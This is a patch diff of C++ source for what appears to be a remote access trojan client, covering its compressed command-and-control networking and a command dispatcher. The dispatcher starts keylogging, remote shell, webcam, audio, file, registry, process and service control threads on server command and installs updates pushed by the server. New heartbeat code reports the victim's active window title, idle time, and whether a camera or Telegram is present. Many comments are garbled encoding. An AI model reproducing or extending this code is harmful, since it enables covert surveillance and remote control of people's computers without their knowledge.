m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
|
||||
|
||||
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
||||
|
||||
ULONG ulOriginalLength = 0;
|
||||
|
||||
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
|
||||
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
||||
m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||
|
||||
//50
|
||||
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
|
||||
PBYTE CompressedBuffer = new BYTE[ulCompressedLength];
|
||||
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength];
|
||||
const int bufSize = 512;
|
||||
BYTE buf1[bufSize], buf2[bufSize];
|
||||
PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1;
|
||||
PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2;
|
||||
|
||||
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||
|
||||
size_t iRet = uncompress(DeCompressedBuffer,
|
||||
&ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
|
||||
if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
|
||||
{
|
||||
CBuffer m_DeCompressedBuffer;
|
||||
m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
|
||||
ulOriginalLength);
|
||||
|
||||
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
||||
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
if (m_Manager)
|
||||
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
||||
m_DeCompressedBuffer.GetBufferLength());
|
||||
if (m_DataProcess)
|
||||
m_DataProcess(m_Manager, (PBYTE)DeCompressedBuffer, ulOriginalLength);
|
||||
}
|
||||
else{
|
||||
Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
|
||||
delete [] CompressedBuffer;
|
||||
delete [] DeCompressedBuffer;
|
||||
throw "Bad Buffer";
|
||||
m_CompressedBuffer.ClearBuffer();
|
||||
}
|
||||
|
||||
delete [] CompressedBuffer;
|
||||
delete [] DeCompressedBuffer;
|
||||
#if _DEBUG
|
||||
// Mprintf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
|
||||
#endif
|
||||
if (CompressedBuffer != buf1)delete [] CompressedBuffer;
|
||||
if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer;
|
||||
}
|
||||
else {
|
||||
Mprintf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
|
||||
break;
|
||||
break; // received data is incomplete
|
||||
}
|
||||
}
|
||||
}catch(...) {
|
||||
@@ -333,13 +427,14 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
||||
#else
|
||||
unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength);
|
||||
#endif
|
||||
LPBYTE CompressedBuffer = new BYTE[ulCompressedLength];
|
||||
BYTE buf[1024];
|
||||
LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf;
|
||||
|
||||
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
|
||||
if (Z_FAILED(iRet))
|
||||
{
|
||||
Mprintf("[ERROR] compress failed \n");
|
||||
delete [] CompressedBuffer;
|
||||
Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength);
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
return FALSE;
|
||||
}
|
||||
#if !USING_ZLIB
|
||||
@@ -351,20 +446,15 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
||||
m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH);
|
||||
|
||||
m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG));
|
||||
// 5 4
|
||||
//[Shine][ 30 ]
|
||||
|
||||
m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG));
|
||||
// 5 4 4
|
||||
//[Shine][ 30 ][5]
|
||||
|
||||
m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength);
|
||||
|
||||
delete [] CompressedBuffer;
|
||||
CompressedBuffer = NULL;
|
||||
if (CompressedBuffer != buf) delete [] CompressedBuffer;
|
||||
|
||||
// <20>ֿ鷢<D6BF><E9B7A2>
|
||||
//shine[0035][0010][HelloWorld+12]
|
||||
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
|
||||
MAX_SEND_BUFFER);
|
||||
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -435,8 +525,8 @@ VOID IOCPClient::Disconnect()
|
||||
|
||||
VOID IOCPClient::RunEventLoop(const BOOL &bCondition)
|
||||
{
|
||||
OutputDebugStringA("======> RunEventLoop begin\n");
|
||||
Mprintf("======> RunEventLoop begin\n");
|
||||
while (m_bIsRunning && bCondition)
|
||||
Sleep(200);
|
||||
OutputDebugStringA("======> RunEventLoop end\n");
|
||||
Mprintf("======> RunEventLoop end\n");
|
||||
}
|
||||
|
||||
@@ -9,17 +9,16 @@
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#ifdef _WIN32
|
||||
#include "stdafx.h"
|
||||
#include <WinSock2.h>
|
||||
#include <Windows.h>
|
||||
#include <MSTcpIP.h>
|
||||
#include "Buffer.h"
|
||||
#include "Manager.h"
|
||||
|
||||
#if USING_CTX
|
||||
#include "zstd/zstd.h"
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#endif
|
||||
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
#include "Buffer.h"
|
||||
#include "common/commands.h"
|
||||
#include "zstd/zstd.h"
|
||||
|
||||
#define MAX_RECV_BUFFER 1024*32
|
||||
#define MAX_SEND_BUFFER 1024*32
|
||||
@@ -28,10 +27,41 @@
|
||||
|
||||
enum { S_STOP = 0, S_RUN, S_END };
|
||||
|
||||
typedef int (*DataProcessCB)(void* userData, PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
class IOCPManager {
|
||||
public:
|
||||
virtual ~IOCPManager() {}
|
||||
virtual BOOL IsAlive() const { return TRUE; }
|
||||
virtual BOOL IsReady() const { return TRUE; }
|
||||
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) { }
|
||||
|
||||
static int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) {
|
||||
IOCPManager* m_Manager = (IOCPManager*)user;
|
||||
if (nullptr == m_Manager) {
|
||||
Mprintf("IOCPManager DataProcess on NULL ptr: %d\n", unsigned(szBuffer[0]));
|
||||
return FALSE;
|
||||
}
|
||||
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܴ<EFBFBD><DCB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, 1<><31><EFBFBD>㹻<EFBFBD><E3B9BB>
|
||||
int i = 0;
|
||||
for (; i < 1000 && !m_Manager->IsReady(); ++i)
|
||||
Sleep(1);
|
||||
if (!m_Manager->IsReady()) {
|
||||
Mprintf("IOCPManager DataProcess is NOT ready: %d\n", unsigned(szBuffer[0]));
|
||||
return FALSE;
|
||||
}
|
||||
if (i) {
|
||||
Mprintf("IOCPManager DataProcess wait for %dms: %d\n", i, unsigned(szBuffer[0]));
|
||||
}
|
||||
m_Manager->OnReceive(szBuffer, ulLength);
|
||||
return TRUE;
|
||||
}
|
||||
};
|
||||
|
||||
class IOCPClient
|
||||
{
|
||||
public:
|
||||
IOCPClient(bool exit_while_disconnect = false);
|
||||
IOCPClient(State& bExit, bool exit_while_disconnect = false);
|
||||
virtual ~IOCPClient();
|
||||
SOCKET m_sClientSocket;
|
||||
CBuffer m_CompressedBuffer;
|
||||
@@ -41,9 +71,17 @@ public:
|
||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#endif
|
||||
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
|
||||
LOGIN_INFOR tmp = logInfo;
|
||||
int iRet = Send2Server((char*)&tmp, sizeof(LOGIN_INFOR));
|
||||
|
||||
return iRet;
|
||||
}
|
||||
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
|
||||
BOOL Send2Server(const char* szBuffer, ULONG ulOriginalLength) {
|
||||
return OnServerSending(szBuffer, ulOriginalLength);
|
||||
}
|
||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
||||
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
||||
@@ -62,15 +100,17 @@ public:
|
||||
|
||||
char m_szPacketFlag[FLAG_LENGTH + 3];
|
||||
|
||||
VOID setManagerCallBack(CManager* Manager);
|
||||
VOID setManagerCallBack(void* Manager, DataProcessCB dataProcess);
|
||||
|
||||
VOID Disconnect();
|
||||
VOID RunEventLoop(const BOOL &bCondition);
|
||||
bool IsConnected() const { return m_bConnected == TRUE; }
|
||||
|
||||
public:
|
||||
CManager* m_Manager;
|
||||
CRITICAL_SECTION m_cs;
|
||||
State& g_bExit; // ȫ<><C8AB>״̬<D7B4><CCAC>
|
||||
void* m_Manager; // <20>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
DataProcessCB m_DataProcess; // <20><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
bool m_exit_while_disconnect;
|
||||
};
|
||||
|
||||
|
||||
@@ -8,14 +8,22 @@
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <corecrt_io.h>
|
||||
#include "ClientDll.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
|
||||
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance)
|
||||
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject)
|
||||
{
|
||||
m_ulThreadCount = 0;
|
||||
#ifdef _DEBUG
|
||||
m_settings = { 5 };
|
||||
#else
|
||||
m_settings = { 30 };
|
||||
#endif
|
||||
m_nNetPing = -1;
|
||||
}
|
||||
|
||||
CKernelManager::~CKernelManager()
|
||||
@@ -112,48 +120,74 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
}
|
||||
else if (!isExit){
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(true);
|
||||
m_hThread[m_ulThreadCount].p = nullptr;
|
||||
m_hThread[m_ulThreadCount].conn = m_conn;
|
||||
}
|
||||
|
||||
switch(szBuffer[0])
|
||||
{
|
||||
case COMMAND_SHARE:
|
||||
if (ulLength > 2) {
|
||||
switch (szBuffer[1]) {
|
||||
case SHARE_TYPE_YAMA: {
|
||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
||||
if (nullptr!=a) CloseHandle(CreateThread(0, 0, StartClientApp, a, 0, 0));
|
||||
break;
|
||||
}
|
||||
case SHARE_TYPE_HOLDINGHANDS:
|
||||
break;
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case CMD_HEARTBEAT_ACK:
|
||||
if (ulLength > 8) {
|
||||
uint64_t n = 0;
|
||||
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
|
||||
auto system_ms = std::chrono::time_point_cast<std::chrono::milliseconds>(
|
||||
std::chrono::system_clock::now()
|
||||
);
|
||||
m_nNetPing = int((system_ms.time_since_epoch().count() - n) / 2);
|
||||
}
|
||||
break;
|
||||
case CMD_MASTERSETTING:
|
||||
if (ulLength > sizeof(MasterSettings)) {
|
||||
memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings));
|
||||
}
|
||||
break;
|
||||
case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
|
||||
LoopKeyboardManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_TALK:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopTalkManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SHELL:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopShellManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
|
||||
LoopProcessManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopWindowManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -161,8 +195,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_bIsDead = 1;
|
||||
OutputDebugStringA("======> Client exit \n");
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
Mprintf("======> Client exit \n");
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -170,8 +204,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_bIsDead = 2;
|
||||
OutputDebugStringA("======> Server exit \n");
|
||||
g_bExit = S_SERVER_EXIT;
|
||||
Mprintf("======> Server exit \n");
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -181,78 +215,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (ulLength > 1) {
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount].user = user;
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopScreenManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_LIST_DRIVE :
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopFileManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_WEBCAM:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopVideoManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_AUDIO:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopAudioManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_REGEDIT:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopRegisterManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SERVICES:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
LoopServicesManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_UPDATE:
|
||||
{
|
||||
if (m_ulThreadCount != -1) {
|
||||
delete m_hThread[m_ulThreadCount].p;
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
}
|
||||
ULONGLONG size=0;
|
||||
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
||||
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
||||
extern BOOL g_bExit;
|
||||
g_bExit = 3;
|
||||
g_bExit = S_CLIENT_UPDATE;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
{
|
||||
OutputDebugStringA("======> Error operator\n");
|
||||
char buffer[256] = {};
|
||||
strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer));
|
||||
Mprintf("!!! Unknown command: %s\n", buffer);
|
||||
if (m_ulThreadCount != -1) {
|
||||
delete m_hThread[m_ulThreadCount].p;
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
}
|
||||
Mprintf("!!! Unknown command: %d\n", unsigned(szBuffer[0]));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -14,6 +14,64 @@
|
||||
|
||||
#define MAX_THREADNUM 0x1000>>2
|
||||
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <iomanip>
|
||||
#include <TlHelp32.h>
|
||||
#include "LoginServer.h"
|
||||
|
||||
class ActivityWindow {
|
||||
public:
|
||||
std::string Check(DWORD threshold_ms = 6000) {
|
||||
auto idle = GetUserIdleTime();
|
||||
BOOL isActive = (idle < threshold_ms);
|
||||
if (isActive) {
|
||||
return GetActiveWindowTitle();
|
||||
}
|
||||
return "Inactive: " + FormatMilliseconds(idle);
|
||||
}
|
||||
|
||||
private:
|
||||
std::string FormatMilliseconds(DWORD ms)
|
||||
{
|
||||
DWORD totalSeconds = ms / 1000;
|
||||
DWORD hours = totalSeconds / 3600;
|
||||
DWORD minutes = (totalSeconds % 3600) / 60;
|
||||
DWORD seconds = totalSeconds % 60;
|
||||
|
||||
std::stringstream ss;
|
||||
ss << std::setfill('0')
|
||||
<< std::setw(2) << hours << ":"
|
||||
<< std::setw(2) << minutes << ":"
|
||||
<< std::setw(2) << seconds;
|
||||
|
||||
return ss.str();
|
||||
}
|
||||
|
||||
std::string GetActiveWindowTitle()
|
||||
{
|
||||
HWND hForegroundWindow = GetForegroundWindow();
|
||||
if (hForegroundWindow == NULL)
|
||||
return "No active window";
|
||||
|
||||
char windowTitle[256];
|
||||
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
|
||||
return std::string(windowTitle);
|
||||
}
|
||||
|
||||
DWORD GetLastInputTime()
|
||||
{
|
||||
LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
|
||||
GetLastInputInfo(&lii);
|
||||
return lii.dwTime;
|
||||
}
|
||||
|
||||
DWORD GetUserIdleTime()
|
||||
{
|
||||
return (GetTickCount64() - GetLastInputTime());
|
||||
}
|
||||
};
|
||||
|
||||
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
|
||||
struct ThreadInfo
|
||||
{
|
||||
@@ -21,13 +79,16 @@ struct ThreadInfo
|
||||
HANDLE h;
|
||||
IOCPClient *p;
|
||||
void* user;
|
||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr){ }
|
||||
CONNECT_ADDRESS* conn;
|
||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr), conn(nullptr){ }
|
||||
};
|
||||
|
||||
class CKernelManager : public CManager
|
||||
{
|
||||
public:
|
||||
CKernelManager(IOCPClient* ClientObject);
|
||||
CONNECT_ADDRESS* m_conn;
|
||||
HINSTANCE m_hInstance;
|
||||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance);
|
||||
virtual ~CKernelManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
@@ -36,6 +97,66 @@ public:
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><D2BD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD><EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
|
||||
ULONG m_ulThreadCount;
|
||||
UINT GetAvailableIndex();
|
||||
|
||||
MasterSettings m_settings;
|
||||
int m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int SendHeartbeat() {
|
||||
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
|
||||
Sleep(1000);
|
||||
if (m_settings.ReportInterval <= 0) { // <20>ر<EFBFBD><D8B1>ϱ<EFBFBD><CFB1><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
Sleep(1000);
|
||||
return 0;
|
||||
}
|
||||
if (g_bExit || !m_ClientObject->IsConnected())
|
||||
return -1;
|
||||
|
||||
ActivityWindow checker;
|
||||
auto s = checker.Check();
|
||||
Heartbeat a(s, m_nNetPing);
|
||||
|
||||
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
|
||||
|
||||
BYTE buf[sizeof(Heartbeat) + 1];
|
||||
buf[0] = TOKEN_HEARTBEAT;
|
||||
memcpy(buf + 1, &a, sizeof(Heartbeat));
|
||||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
return 0;
|
||||
}
|
||||
bool SoftwareCheck(int type) {
|
||||
static std::map<int, std::string> m = {
|
||||
{SOFTWARE_CAMERA, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ"},
|
||||
{SOFTWARE_TELEGRAM, "telegram.exe" },
|
||||
};
|
||||
static bool hasCamera = WebCamIsExist();
|
||||
return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] });
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool IsProcessRunning(const std::vector<std::string>& processNames) {
|
||||
PROCESSENTRY32 pe32;
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><D0BD>̵Ŀ<CCB5><C4BF><EFBFBD>
|
||||
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE)
|
||||
return true;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>н<EFBFBD><D0BD><EFBFBD>
|
||||
if (Process32First(hProcessSnap, &pe32)) {
|
||||
do {
|
||||
for (const auto& processName : processNames) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƥ<EFBFBD>䣬<EFBFBD><EFBFBD> true
|
||||
if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
|
||||
CloseHandle(hProcessSnap);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
}
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||
|
||||
@@ -11,7 +11,6 @@
|
||||
#include <iostream>
